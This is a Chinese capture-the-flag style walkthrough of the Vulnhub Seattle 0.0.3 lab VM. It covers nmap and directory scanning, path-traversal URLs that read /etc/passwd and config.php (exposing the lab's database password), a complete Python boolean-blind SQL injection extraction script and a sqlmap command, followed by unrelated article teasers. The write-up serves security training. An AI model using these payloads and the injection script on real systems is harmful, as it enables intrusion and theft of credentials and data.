【Vulnhub系列】Vulnhub_Seattle_003靶场渗透(原创)

news2025/1/12 12:08:13

【Vulnhub系列靶场】Vulnhub_Seattle_003靶场渗透

原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

一、环境准备

1、从百度网盘下载对应靶机的.ova镜像

2、在VM中选择【打开】该.ova

image-20240210134843692

3、选择存储路径,并打开

image-20240210134856511

4、之后确认网络连接模式是否为【NAT】

二、信息收集

1、主机发现

nmap.exe -sn 192.168.31.*

image-20240210103254625

2、端口探测

1、快速粗略的扫描

nmap.exe -F 192.168.31.59

image-20240210103434464

2、全端口精细扫描

nmap.exe -sT --min-rate 10000 -p- 192.168.31.59
nmap.exe -sU --min-rate 10000 -p- 192.168.31.59

image-20240210104357998

image-20240210103651560

确认只开放了80端口

3、全扫描和漏洞扫描

nmap.exe -sT -sV -sC -O -p80 192.168.31.59
nmap.exe -sT -sV -sC -O -p80 192.168.31.59

image-20240210104536620

确认是Linux的Fedora 系统,是由 Red Hat 公司赞助和领导

image-20240210104717424

漏洞脚本探测出来存在csrf 和sql注入漏洞,很显然,这个SQL注入漏洞是一个关键点

3、web目录探测

dirsearch.cmd -u http://192.168.31.59 -x 404,403

image-20240210104043275

针对zip等敏感文件进行扫描

dirb http://192.168.31.59 -X .php,.zip,.txt,.tar,.rar

image-20240210105150253

4、web框架探测

whatweb http://192.168.31.59

image-20240210105210851

三、获取shell立足点

1、查看敏感文件

1、在downloads目录下发现.pdf文件

image-20240210105554332

image-20240210105619577

是一个对网站此时状态的一个描述,表示现在的网站有很多漏洞,诸如SQL漏洞、XSS、用户名泄露以及任意文件下载漏洞

image-20240210105728931

image-20240210105742640

image-20240210105806973

image-20240210105954501

2、任意文件下载漏洞

通过任意文件下载漏洞尝试下载/etc/passwwd 文件

http://192.168.31.59/download.php?item=../../../../../../etc/passwd

image-20240210110317205

只存在root用户

下载config.php文件

http://192.168.31.59/download.php?item=../config.php

image-20240210114250835

拿到数据库的账号密码:root:Alexis*94

3、SQL注入漏洞

我们对http://192.168.31.59/details.php?type=2&prod=5路径进行爆破,可以看到是一个布尔类型的SQL注入,我们修进我们的SQL_Boole 脚本

import requests

# 存在GET类型的SQL注入的URL链接和参数
url = 'http://192.168.31.59/details.php?type=2&prod=5'

def column_data_name(column_data_len,User_table_name,User_column_name):
    column_data_names = {}
    column_one_name = ''
    for i in range(0,len(column_data_len)):         #i是第几个字段的值
        for j in range(1,column_data_len[i]+1):     #j是要爆破字段值的第几个字符
            for n in range(0,126):                  #n是要爆破字段值的ascii码值
                new_url = url + "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)
                if Response_judgment(new_url):
                    column_one_name += chr(n)
                    break
        print(f"{User_column_name}字段的第{i}个值为:{column_one_name}")
        column_data_names[i] = column_one_name
        column_one_name = ''
    return column_data_names

def column_data_length(column_names,User_table_name,User_column_name):
    column_data_len = {}
    for i in range(0,10):           #i是第几个字段的值,猜测10个数值
        for j in range(1,20):       #j是要爆破字段数值的长度,猜测该字段数值最大为20
            new_url = url + "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)
            if Response_judgment(new_url):
                column_data_len[i] = j
                if i == 10:
                    print('已超过测试数值的最大值,请调整!!!')
                break
    return column_data_len

def column_name(column_len,User_table_name):
    column_names = {}
    column_one_name = ''
    for i in range(0,len(column_len)):          #i是第几个字段,len(column_len) 是字段的数量
        for j in range(1,column_len[i]+1):      #j是要爆破字段的第几个字符
            for n in range(0,126):              #n是要爆破字段名的ascii码值
                new_url = url + "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)
                if Response_judgment(new_url):
                    column_one_name += chr(n)
                    break
        print(f"{User_table_name}表的第{i}个字段的名称为:{column_one_name}")
        column_names[i] = column_one_name
        column_one_name = ''
    return column_names

def column_length(User_table_name):     #要查看的表名
    column_len = {}
    for i in range(0,10):               #i是第几个字段,这里假设有10个字段
        for j in range(1,30):           #j是要爆破字段的长度,假设字段长度最长为20
            new_url = url + "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)
            if Response_judgment(new_url):
                column_len[i] = j
                if i == 10:
                    print('已超过测试字段数的最大值,请调整!!!')
                break
    return column_len

def table_name(table_len):
    table_names = {}
    table_one_name = ''
    for i in range(0,len(table_len)):       #i是第几张表,len(table_len)表示共有几张表
        for j in range(1,table_len[i]+1):   #j是要爆破表名第几个字符,到表的长度
            for n in range(0,126):          #n是要爆破表名的ascii码值
                new_url = url + "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(n)
                if Response_judgment(new_url):
                    table_one_name += chr(n)
                    break
        print(f"第{i}张表的名称为:{table_one_name}")
        table_names[i] = table_one_name
        table_one_name = ''
    return table_names

def table_length():
    table_len = {}
    for i in range(0,10):           #i是第几张表
        for j in range(1,10):       #j是要爆破表的长度
            new_url = url + "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)
            if Response_judgment(new_url):
                table_len[i] = j
                break
    return table_len

def database_name(database_len):
    database_names = ''
    for i in range(1,database_len + 1):     #i是数据库的第几个字符
        for j in range(0,126):              #j是要爆破数据库名的ascii码值
            new_url = url + "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(j)
            if Response_judgment(new_url):
                database_names += chr(j)
                break
    return database_names

def database_length():
    new_url = ''
    for i in range(1,10):       #假设数据库的长度在10以内
        new_url = url + "%20and%20length(database())=" + str(i)
        if Response_judgment(new_url):
            return i
    print('payload无效,请更替payload或增加爆破的数据库名长度!!!')
    print(new_url)

def Response_judgment(new_url):
    cookies = {
        'level' : '1'
    }
    respone = requests.get(new_url, cookies=cookies)
    if "T-Shirt" in respone.text:
        return True
    else:
        return False

def main():
    print('-----------------------------')
    database_names = database_name(database_length())   #这里传入数据库的长度
    print(f"当前数据库的名称为:{database_names}")
    print('-----------------------------')
    table_names = table_name(table_length())            #求表的名称,传入表的长度
    while True:                 #这里做无限循环,以方便循环查询所有的表
        print('-----------------------------')
        print(f"所有表的名称为:{table_names}")
        User_table_name = input('请输入要查看的表名(exit退出):')
        if User_table_name == 'exit':
            break
        print('-----------------------------')
        column_names = column_name(column_length(User_table_name),User_table_name)       #求字段的名字,输入字段的长度
        while True:             #这里做无限循环,方便查询表的所有字段值
            print('-----------------------------')
            print(f"该表中所有字段的名称为:{column_names}")
            User_column_name = input('请输入要查看的字段名(exit退出):')
            if User_column_name == 'exit':
                break
            print('-----------------------------')
            column_data_len = column_data_length(column_names,User_table_name,User_column_name)   #求字段值的长度,传入字段的名称
            column_data_names = column_data_name(column_data_len,User_table_name,User_column_name)  #求字段的值
            print('-----------------------------')
            print(f"{User_column_name}字段中所有数值为:{column_data_names}")

if __name__ == '__main__':
    main()
    print('-----------------------------')
    print("Bye!程序已退出!!!")

在判断函数中加入cookie以及修改判断条件即可

image-20240210123233979

image-20240210123406099

这里并没有我们想要的数据,也许是脚本有些地方考虑不周到,但是对脚本的应用是一次不错的提升

4、登录后台

通过任意文件下载漏洞,下载login.php文件进行分析

image-20240210123540577

先判断了用户的邮箱,再判断密码是否正确

正好在blog.php?author=1的页面中爆破了用户邮箱的敏感信息,那么根据源代码分析此处可以造成SQL漏洞

image-20240210123636194

我们拿到用户邮箱,回到登录页面,这里我们直接用sqlmap 进行爆破

sqlmap.cmd -u http://192.168.31.59/login.php --data "usermail=admin@seattlesounds.net&password=111*" --cookie "level=1" --batch -D seattle --tables

在爆破过程中发现该数据库有三张表

image-20240210125137460

而SQL_Boole 脚本未爆破出来其他两张表的原因是,我们假设表的最大长度为10

image-20240210125347335

当我们修改成20之后,SQL_Boole 脚本可以正常使用,且爆破速度比SQLMap 还要快上很多

image-20240210125903261

这里username 无数据,可能也是长度限制的问题,但是好在密码的长度较短,可以爆破出来

image-20240210130050742

也可以爆破出来其他字段,不过在改靶机中我们只拿到密码即可

image-20240210130209765

后台登录成功

5、获取shell立足点

在后台可以提交博客内容,但是无getshell 的方法,此靶机只有web漏洞,不能getshell

原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1959518.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【扒代码】X = output[:,:,y1:y2,x1:x2].sum()

假设我们有以下输入: output 是一个形状为 (1【batch size】, 1【channel】, 10, 10) 的张量,表示一个 10x10 的输出图像。boxes 是一个形状为 (1【index】, 2, 5) 的张量,表示两个边界框,每个边界框包含 5 个值 [index, y1, x1,…

聊聊 ChatGPT

一、ChatGPT一次添加一个词 ChatGPT作用:人为输入任何文本后,自动生成一个"合理的延续",合理指的是:假如你看了数十亿网页上的内容后,发现大家都这么写,那你也这么写,就是合理的。Ch…

NC 删除有序链表中重复的元素-I

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 描述 删除给出链表…

代码随想录训练营 Day14打卡 二叉树 part02 226.翻转二叉树 101. 对称二叉树 104. 二叉树的最大深度 111. 二叉树的最小深度

代码随想录训练营 Day14打卡 二叉树 part02 一、 力扣226. 翻转二叉树 给你一棵二叉树的根节点 root ,翻转这棵二叉树,并返回其根节点。 示例 : 输入: root [4,2,7,1,3,6,9] 输出: [4,7,2,9,6,3,1] 我们下文以前序遍…

前端工程化-vue项目创建

可以使用html、css、javascpript ,以及使用vue、axios等技术搭建前端页面,但效率低、结构乱。 实际前端开发: 前端工程化开发步骤: 一、环境准备 1.安装NodeJS2. 安装vue-cli 二、创建Vue项目 有两种方式创建,一般采用第二种图…

【连续3年稳定发表,门槛低 易中稿】第四届先进制造技术与电子信息国际学术会议(AMTEI 2024,9月20-22)

由深圳技术大学集成电路与光电芯片学院、中南大学自动化学院联合支持的第四届先进制造技术与电子信息学术会议(AMTEI 2024)将于2024年09月20-22日在重庆召开。 本次会议主要围绕先进制造技术与电子信息的最新研究领域,为来自国内外高等院校、…

Springboot+Thymeleaf实现纯静态化页面处理

前言&#xff1a;引入包什么的就不讲了&#xff0c;这里我只记录如何实现。 在template目录下构建模板页面 IndexTemplate.html。一般模板文件都是放在这个下面<!DOCTYPE html> <html lang"zh" xmlns:th"http://www.thymeleaf.org"> <head&…

深度模型中的优化 - 优化策略和元算法篇

序言 在人工智能与机器学习的快速发展中&#xff0c;深度模型作为核心技术之一&#xff0c;其优化问题至关重要。深度模型通过构建多层神经网络来模拟人脑的学习与推理过程&#xff0c;处理复杂数据模式与任务。然而&#xff0c;这些强大能力的背后&#xff0c;离不开高效的优…

【python函数】调用系统命令进行文件夹的创建与删除

大家好&#xff0c;我是一名_全栈_测试开发工程师&#xff0c;已经开源一套【自动化测试框架】和【测试管理平台】&#xff0c;欢迎大家关注我&#xff0c;和我一起【分享测试知识&#xff0c;交流测试技术&#xff0c;趣聊行业热点】。 一、函数说明&#xff1a; 获取系统名称…

人工智能计算机视觉系列—构建你的图像标签管理系统:使用Flask和SQLite实现前后端应用

文章目录 1. 项目背景2. 方案概述3. 环境部署4. 具体实现5. 运行步骤6. 总结 1. 项目背景 在机器学习和计算机视觉的开发过程中&#xff0c;我们经常需要处理大量的图像及其标签信息。一个直观、便捷的图像和标签展示工具可以极大地提高开发效率。本文将介绍如何使用Flask框架…

最靠谱的搭建方式-ESP32入门搭建Arduino开发环境基于mac系统

ESP32入门搭建Arduino开发环境基于mac系统 1.概述 ESP32开发版作为物联网开发非常的方便&#xff0c;不过在入门时候搭建Arduino开发环境比较麻烦&#xff0c;因为Arduino在下载ESP32开发环境时总是失败&#xff0c;因此不得不采用手动安装环境方式。 这篇文章主要介绍mac系统…

Java 并发编程实战权威指南(电子版教程)

前言 Java并发编程主要涉及多线程编程&#xff0c;通过创建多个线程来并发执行任务&#xff0c;从而提高程序的执行效率和响应能力。Java提供了多种机制和技术来实现并发编程&#xff0c;包括进程和线程的管理、同步机制、高级并发工具以及最佳实践。 一、下载地址 下载地址…

hadoop学习笔记3-yarn

4.YARN yarn本质上是一个负责管理资源节点、调度资源节点的资源调度平台&#xff0c;负责为运算程序提供服务器计算资源&#xff0c;把任务调度到合适的节点上执行 4.1yarn架构 yarn 主要由ResourceManager、NodeManager、applicationmaster组件构成 yarn将资源管理和应用程…

PowerDNS架构解析与安装部署指南

1、背景介绍 目前公司使用PowerDNS进行DNS管理&#xff0c;但由于采用的是单节点架构&#xff0c;存在不可用的风险。为提升系统的稳定性和可靠性&#xff0c;我们计划对现有架构进行重构。通过引入高可用性设计&#xff0c;我们将优化系统架构&#xff0c;使其能够在故障情况…

设计模式 之 —— 抽象工厂模式

目录 什么是抽象工厂模式&#xff1f; 定义 特点 抽象工厂模式&#xff08;java代码示例&#xff09; 首先定义第一个接口 实现第一个接口的类 定义第二个接口 实现第二个接口的类 * 创建抽象工厂类 创建扩展了 AbstractFactory 的工厂类 饮料工厂 食物工厂 * 创建一个…

非科班出身的你,如何转行web安全工程师?零基础入门到精通,收藏这一篇就够了

想从其他行业转行到算法工程师的人&#xff0c;无外乎以下几个原因&#xff1a; 现在工资太低 工作没有前景 对现在的工作没有热情 对web安全工程师很感兴趣 那么&#xff0c;转行web安全工程师&#xff0c;你需要掌握哪些技能呢&#xff1f; ​ 为了帮助大家更好的学习网络…

第100+18步 ChatGPT学习:R实现SVM分类

基于R 4.2.2版本演示 一、写在前面 有不少大佬问做机器学习分类能不能用R语言&#xff0c;不想学Python咯。 答曰&#xff1a;可&#xff01;用GPT或者Kimi转一下就得了呗。 加上最近也没啥内容写了&#xff0c;就帮各位搬运一下吧。 二、R代码实现SVM分类 &#xff08;1&a…

Docker部署nacos...用户名密码错误

前提 镜像选择v2.3.0版本&#xff0c;因为最新的没拉下来用的别的地方save load的镜像。 官方示例 官方文档 数据库脚本&#xff0c;直接去数据库新建数据库nacos吧&#xff0c;执行脚本&#xff0c;执行完成后&#xff0c;发现只有建表语句&#xff0c;查询得知&#xff0c…

springboot+Activiti7整合实践 (九) 网关

系列文章目录 第一章 springbootActiviti7整合实践 (一) 第二章 springbootActiviti7整合实践 (二) 模型定义 第三章 springbootActiviti7整合实践 (三) 流程定义 第四章 springbootActiviti7整合实践 (四) 分配规则 第五章 springbootActiviti7整合实践 (五) 发布流程 第…

股票预测模型中注意力多层Attention RNN LSTM 的应用

全文链接&#xff1a;https://tecdat.cn/?p37152 原文出处&#xff1a;拓端数据部落公众号 Attention 机制是一种在神经网络处理序列数据时极为关键的技术&#xff0c;它赋予了模型“聚焦”能力&#xff0c;能够自动评估输入序列中各部分的重要性。通过为序列中的每个元素分…